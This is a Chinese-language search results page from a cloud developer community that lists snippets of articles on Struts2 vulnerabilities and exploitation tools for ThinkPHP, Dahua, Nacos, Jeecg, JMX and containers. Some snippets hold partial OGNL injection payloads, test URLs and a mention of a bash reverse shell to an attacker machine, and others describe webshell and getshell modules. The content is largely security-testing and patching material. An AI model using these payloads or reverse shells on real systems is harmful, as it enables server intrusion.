struts漏洞利用工具 - 腾讯云开发者社区

文章/答案/技术大牛

发布

Struts2漏洞检查&利用工具-2.0

Struts2是一个基于MVC设计模式的Web应用框架，它本质上相当于一个servlet，在MVC设计模式中，Struts2作为控制器(Controller)来建立模型与视图的数据交互...本次更新了vulhub里面的struts2的全漏洞扫描。同时生成linux64位的运行软件。 linux下运行： ? win下运行： ? 由于s2-059poc，没有回显，因此没有添加进去。...POC: import requests url = "http://127.0.0.1:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack...(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack

3.1K2 0

第87篇：Struts2框架全版本漏洞检测工具，原创发布（漏洞检测而非漏洞利用）

在2016年时，很多Java应用网站都是基于Struts2框架开发的，因而Struts2的各个版本的漏洞非常多，研发工具的初衷就是为了方便安全测试人员快速寻找Struts2漏洞。...在后期更新过程中，ABC_123尽可能把这款工具写得简单易用，哪怕对Struts2漏洞完全不懂的新手，也能快速帮助企业找到Struts2漏洞并进行修复。...难以利用的漏洞：S2-020、S2-021也比较常见，但是利用很困难，getshell的结果大概率会造成网站崩溃，所以本程序不提供相关漏洞的利用。...工具的使用技巧如果遇到程序检测到Struts2-045/S2-046代码执行漏洞，却没办法执行命令或者上传文件的情况，请手工对漏洞编号进行选择。...由于目标网站环境问题，Struts2漏洞在不同的Web环境下，一些漏洞测试语句不一样，所以需要切换到不同的利用模式。 Struts2框架下的Log4j2漏洞检测与其它框架不同，需要特殊构造的检测语句。

2.8K1 0

您找到你想要的搜索结果了吗？

是的

没有找到

【漏洞利用】最新大华综合漏洞利用工具

项目介绍此项目主要用于在授权情况下对大华系列产品进行漏洞检测漏洞支持大华综合漏洞利用工具收录漏洞如下：大华DSS数字监控系统attachment_clearTempFile.action注入漏洞...大华DSS数字监控系统远程命令执行漏洞大华DSS数字监控系统itcBulletin注入漏洞大华智慧园区综合管理平台信息泄露漏洞大华智慧园区综合管理平台getNewStaypointDetailQuery...任意文件上传漏洞大华智慧园区综合管理平台emap任意文件上传漏洞大华智慧园区综合管理平台searchJson注入漏洞大华DSS数字监控系统attachment_getAttList.action注入漏洞...大华DSS数字监控系统远程命令执行漏洞根据程序版本优化，添加新版本的Poc webshell利用模块大华智慧园区综合管理平台poi任意文件上传漏洞大华智慧园区综合管理平台video任意文件上传漏洞...，即可开始检测 cmdshell模块选择模块进行漏洞验证，如果存在，在cmdshell输入你要执行的命令即可 webshell利用模块：内置Godzilla Behinder jspcmdshell

3.3K1 0

ThinkPHP 漏洞利用工具

在Github上搜寻好用的安全工具，来充实武器库，实属一大乐趣所在。当看到ThinkPHP十年磨一剑的提示，那么今天这里分享的工具就可以派上用场了，一键检测ThinkPHP全版本漏洞。...---- 01、TPscan 一键ThinkPHP漏洞检测，基于Python3，命令行检测，集成了14个常见的ThinkPHP框架漏洞检测插件。...2.x RCE，Thinkphp5 5.0.22/5.1.29RCE，ThinkPHP5 5.0.23RCE和ThinkPHP5 SQL注入漏洞和敏感信息泄露漏洞的漏洞检测，以及命令执行的功能。...漏洞POC基本适用ThinkPHP全版本漏洞。...GUI)漏洞利用工具，支持各版本TP漏洞检测，命令执行，getshell，支持批量检测多个版本漏洞，总体检测效果还比较符合预期。

7.6K2 1

struts2架构网站漏洞修复详情与利用漏洞修复方案

struts2从开发出来到现在，很多互联网企业，公司，平台都在使用apache struts2系统来开发网站，以及应用系统，这几年来因为使用较多，被攻击者挖掘出来的struts2漏洞也越来越，从最一开始...S2-001到现在的最新的s2-057漏洞，本文着重的给大家介绍一下struts2漏洞的利用详情以及漏洞修复办法。...先从1开始吧，S2-001影响的版本是Struts 2.0.0 - Struts 2.0.8版本，最早开始的版本漏洞太低级，当时的apache官方并没有设置安全机制，导致在提交参数的时候紧接的执行了递归化查询数据...S2-013漏洞利用是因为标签属性的原因，标签设置参数里竟然可以执行表达式，会让URL值的参数进行传递表达式，漏洞的修复也很简单对其标签属性进行了删除。...以上是S2-001到S2-015漏洞的产生原因，以及漏洞修复的办法介绍，因为文章字数限制，其他版本的struts2漏洞将会在下一篇文章中给大家讲解。

1.5K3 0

Struts S2-052漏洞利用方式实验解析（附EXP）

Struts2的漏洞之王大之名相信已经家户喻晓了。...实验环境靶机：101.200.58.* （win2008x64+tomcat8.5+Struts 2.5.12）漏洞地址： http://101.200.58.*:8080/struts2-rest-showcase...-2017-9805 三、漏洞证明： EXP使用方法： go run main.go -u URL -c “command” 因为这个EXP脚本没实现回显功能，其实我们可以把命令结果输出文件到网站目录下面...四、控制服务器： *为防止恶意利用，此实验具体内容隐藏漏洞影响 Struts 2.5 – Struts 2.5.12 版本，可能影响到 2.3.33 版本。...2.在不使用时删除 Struts REST插件，或仅限于服务器普通页面和JSONs：

2.8K9 0

【Struts2漏洞修复】struts2 升级 struts-2.5.17

以下记录一下升级Struts2 2.5.17版本： 1、建议先下载核心包，替换先核心包看是否可以正常运行，如果不行再查看缺失哪些包及配置 https://struts.apache.org/download.cgi...image.png image.png 2、替换项目中所有struts开头的jar包（一般替换所有版本较低的包，高版本一般不替换），删除xwork-core-2.3.15.1.jar（在struts2.5.13...修改成 org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilte 4、如果存在jsp-jsonString保存需要修改文件...” “http://struts.apache.org/dtds/struts-2.5.dtd”> 6、2.5版本的404报错问题，需要在struts.xml配置 struts.devMode设置为false就没有了。

2.9K2 0

如何利用Struts2漏洞绕过防火墙获取Root权限

本文我要分享的是关于Apache struts2 CVE-2013–2251漏洞的，由于该漏洞可以导致远程代码执行，曾一度被广泛滥用。...该漏洞原理在于，通过操纵前缀为 “action:”/”redirect:”/”redirectAction:”的参数，在Struts 低于2.3.15的版本框架中实现远程代码执行。...此次测试中，我不仅绕过了WAF防火墙实现远程代码执行，还利用了某Linux提权漏洞获取了目标服务器的root管理控制权。...”漏洞参数进行了必要的测试，为了实现漏洞利用，需要构造一个OGNL表达式，从这个网站上我得到了一些启示，由此，我构造了一个执行命令”ifconfig”的有效Payload： ?...好吧，以上就是我利用apache strut 2漏洞，绕过WAF并结合某Linux提权漏洞实现的一次渗透测试。没有高大上的技巧，仅当思路拓展，不足之处，大牛多多包涵。

2K4 0

Nacos漏洞综合利用工具

项目介绍 Nacos漏洞综合利用GUI工具，集成了默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用使用说明 1、漏洞检测利用漏洞检测支持非常规路径的检查，比如Nacos的路径为...xxx.xxx.xxx.xxx/home/nacos , 只需在目标中填入Nacos的路径即可，指纹识别功能会就去扫描三个路径(" "、"/nacos" 、"/home/nacos")，识别了Nacos才会开启漏洞扫描...2、权限绕过利用在图形化界面中可以实现用户操作，例如：添加用户、删除用户、密码重置 3、批量检测方式工具支持导入扫描字典，我们通过导入目标站点列表，随后进行"一键检测"，实现对目标是否存在漏洞的检测...4、SQL注入利用工具提供SQL注入漏洞的检测与利用： 5、内存马注入工具提供内存马注入支持免责声明本开源工具是由作者按照开源许可证发布的，仅供个人学习和研究使用。...作者不对您使用该工具所产生的任何后果负任何法律责任

2.7K1 0

国内黑客论坛已出现自动攻击已知Struts漏洞的工具

中国黑客现在正是用一个自动工具利用Apache Struts中的已知漏洞，目的是在用这个框架开发的用于托管应用的服务器上安装后门。...研究员透露，黑客现在正非常积极地利用这些漏洞。而研究员们在一个隐秘的中国论坛上发现了一款工具，此工具可针对有漏洞的Struts发起自动攻击。...这款工具利用以下Struts漏洞来损坏服务器：S2-016 (CNNVD-201307-308), 在7月16号发布的 Struts 2.3.15.1 中已得到修复; S2-013 (CNNVD-201305...功能更强大的Web Shell在黑客论坛上也是可以轻易获取的，黑客可以利用这些工具从已被侵入的服务器上搜寻并窃取信息。...Struts 2.3.15.1，目前是最安全的版本，此版本去除了若干有漏洞的特性，如“DefaultActionMapper类的redirect:”和“redirectAction:”前缀。

1.4K5 0

Struts2 S2-016 漏洞【影响版本: Struts 2.0.0 - Struts 2...

验证方法：参数会以OGNL表达式执行 http://host/struts2-showcase/employee/save.action?...redirect:%25{3*4} http://host/struts2-blank/example/X.action?...action:%25{3*4} 结果如果为： http://localhost:8080/struts_Action/12 则你的服务器存在该漏洞解决办法，升级struts 到 2.3.15.1...POC来自官方： http://struts.apache.org/release/2.3.x/docs/s2-016.html http://struts.apache.org/release

1.5K6 0

Struts2-059 漏洞复现

0x00 漏洞简介 Apache Struts框架, 会对某些特定的标签的属性值，比如id属性进行二次解析，所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式，造成OGNL表达式注入。...0x01 影响版本 Struts 2.0.0 - Struts 2.5.20 0x02 环境搭建用vulhub搭建即可 docker-compos up -d 环境完成 0x03 漏洞复现 http...tcp/kali的ip/端口 0>&1 需要编码将编码完的bash替换到脚本里边，ip替换，需要脚本的右边公众号留言脚本运行前先用nc 监听端口，bash编码的那个端口 0x04 修复意见更新Struts2...在漏洞复现的和挖洞中徘徊。

4372 0

Struts2-061 漏洞复现

s2-061 漏洞复现 0x00 漏洞简介 Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。...Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530)，在使用某些tag等情况下可能存在OGNL表达式注入漏洞，从而造成远程代码执行...0x01 漏洞描述 Struts2 会对某些标签属性(比如 `id`，其他属性有待寻找) 的属性值进行二次表达式解析，因此当这些标签属性中使用了 `%{x}` 且 `x` 的值用户可控时，用户再传入一个...0x02 漏洞影响 struts 2.0.0 - struts 2.5.25 0x03 漏洞复现 0x03 环境搭建环境机：ubantu 攻击机：kali 使用vulhub 搭建 docker-compose...脚本： 0x05 漏洞修复避免对不受信任的用户输入使用强制OGNL评估，或/和升级到2.5.26版，可修复该漏洞。

6051 0

Struts2-057漏洞复现

环境地址：vulhub http://172.16.1.87:8090/showcase 影响版本：小于等于 Struts 2.3.34 与 Struts 2.5.16 ?...利用OGNL表达式进行测试id： Poc： ${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)....(#ct=#request['struts.valueStack'].context)....漏洞修复：该漏洞在两种情况下存在，第一，当xml配置中未设置namespace 值，且上层动作配置（action(s) configurations）中未设置或使用通配符namespace值时，可能导致远程代码执行漏洞的发生...第二，使用未设置 value和action值的url标签，且上层动作配置中未设置或使用通配符namespace值所以直接升级到最新版本中可以修复漏洞！

7732 0

工具推荐|GetSploit 搜索和下载漏洞利用

Getsploit - 受searchsploit启发的Vulners数据库的命令行搜索和下载工具。...它允许在线搜索所有最受欢迎的集合中的漏洞：Exploit-DB，Metasploit，Packetstorm等。最强大的功能是在您的工作路径中即时利用源代码下载。...文章用到的工具： 1.KALI LINUX 2.Python2（texttable、textui、clint） 3.API Key 第一步 git clone https://github.com/vulnersCom

1.5K6 0

【护网必备】最新Struts2全版本漏洞检测工具

在2016年时，很多Java编写的应用网站都是基于Struts2框架研发的，因而Struts2的各个版本的漏洞非常多，当时为了方便安全测试人员快速寻找Struts2漏洞，于是ABC_123尽可能把这款工具写的简单容易上手...，哪怕对Struts2漏洞完全不懂的新手，也能快速找到Struts2漏洞并进行修复。...工具使用漏洞检测运行工具后点击“检测漏洞”会自动检测该URL是否存在S2-001、S2-005、S2-009、S2-013、S2-016、S2-019、S2-020/021、S2-032、S2-037...，并不再开发） 2、S2-020、S2-021仅提供漏洞扫描功能，因漏洞利用exp很大几率造成网站访问异常，本程序暂不提供。...4、作者对不同的struts2漏洞测试语句做了大量修改，执行命令、上传功能已经能通用。

2.5K1 0

OA漏洞利用工具

工具介绍 I-Wanna-Get-All是@R4gd0ll师傅基于Apt-T00ls二次开发的一款安全工具，严禁一切未授权漏洞扫描攻击。...使用工具前建议判断系统指纹框架，部分漏洞为接口探测存活判断是否成功，实际利用情况以执行情况为准。很多误报还需要完善，欢迎各位提issues ATT模块 1....用友serial漏洞大部分为接口探测，请ATT根据实际情况进行判断 2. 部分漏洞为确保准确性，请先进行检测，再进行点击执行利用 3. 使用ALL进行漏洞探测时，由于多线程等其他原因会产生误报 4....文件上传漏洞，上传文件后执行进行上传，并使CMD栏为空，请先检测尝试上传后再利用 5. 命令执行漏洞利用CMD写入命令后进行执行。 6. 清屏按钮可清除除URL地址外所有信息 7....(选择OA类型 -- 选择漏洞 -- 输入URL -- 检测) 用友NC漏洞利用(选择OA类型 -- 选择漏洞 -- 输入URL -- 输入命令 -- 执行) 用友NC文件上传(选择OA类型 -- 选择漏洞

2K1 0

【神兵利器】Jeecg综合漏洞利用工具

项目介绍 Jeecg综合漏洞利用工具程序采用javafx开发，环境JDK 1.8 声明：仅用于授权测试，用户滥用造成的一切后果和作者无关请遵守法律法规漏洞支持 jeecg-boot queryFieldBySql...信息泄露漏洞 jeecg-boot-任意文件下载漏洞 jeecg-boot-jeecgFormDemoController漏洞 jeecg-boot-v2 P3 Biz Chat任意文件读取漏洞 jeecg-boot-v2...sys/duplicate/check注入漏洞 jeecg-boot-v2 AviatorScript表达式注入漏洞功能介绍 Jeecg综合漏洞利用工具集成了多模块漏洞利用，包括一键漏洞检测，单独选择模块检测...信息泄露漏洞 jeecg-boot-checkOnlyUser信息泄露漏洞 jeecg-boot-httptrace信息泄露漏洞（2）接口测试模块 jeecg-boot-querySysUser信息泄露漏洞...注入漏洞 Jeecg-Boot qurestSql-SQL注入漏洞使用示例默认模块可一键扫描所有漏洞命令执行：文件上传：

2.4K1 0

【神兵利器】JAVA JMX漏洞利用工具

基本介绍 beanshooter是一个JMX枚举和攻击工具，有助于识别JMX端点上的常见漏洞并提供了丰富的漏洞利用载荷和利用方式工具编译我们也可以通过beanshooter来枚举并注册EvilBean...到JMXServer端，首先我们需要去下载beanshooter工具到本地，随后下到本地并进行打包 cd beanshooter mvn package 基本使用基本操作是可以在JMX服务上执行的通用操作

1.4K1 0

Botb：容器分析和漏洞利用工具

BOtB（Break out the Box）是一款容器分析和漏洞利用工具，其主要是为渗透测试人员和工程师所设计的。它可以为我们做什么？...BOtB是一个CLI工具，你可以执行以下操作：利用常见的容器漏洞执行常见的容器后期利用操作当某些工具或二进制文件在容器中不可用时提供功能使用BOtB的功能与CI/CD技术来测试容器部署以手动或自动方式执行以上操作...构建 BOtB BOtB是用GO编写的，因此你可以使用标准的GO工具来构建。...1 使用自定义 payload 利用 CVE-2019-5736 请注意，在该场景下要想有效利用，必须在目标容器中执行一个进程。 #....参考文献与资源如果没有社区中其他人的贡献，那么也就不会有这款工具，以下是对我有帮助的资源列表。

1.9K1 0

点击加载更多

Struts2漏洞检查&利用工具-2.0

第87篇：Struts2框架全版本漏洞检测工具，原创发布（漏洞检测而非漏洞利用）

【漏洞利用】最新大华综合漏洞利用工具

ThinkPHP 漏洞利用工具

struts2架构网站漏洞修复详情与利用漏洞修复方案

Struts S2-052漏洞利用方式实验解析（附EXP）

【Struts2漏洞修复】struts2 升级 struts-2.5.17

如何利用Struts2漏洞绕过防火墙获取Root权限

Nacos漏洞综合利用工具

国内黑客论坛已出现自动攻击已知Struts漏洞的工具

Struts2 S2-016 漏洞【影响版本: Struts 2.0.0 - Struts 2...

Struts2-059 漏洞复现

Struts2-061 漏洞复现

Struts2-057漏洞复现

工具推荐|GetSploit 搜索和下载漏洞利用

【护网必备】最新Struts2全版本漏洞检测工具

OA漏洞利用工具

【神兵利器】Jeecg综合漏洞利用工具

【神兵利器】JAVA JMX漏洞利用工具

Botb：容器分析和漏洞利用工具

相关资讯

热门标签

活动推荐

运营活动

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐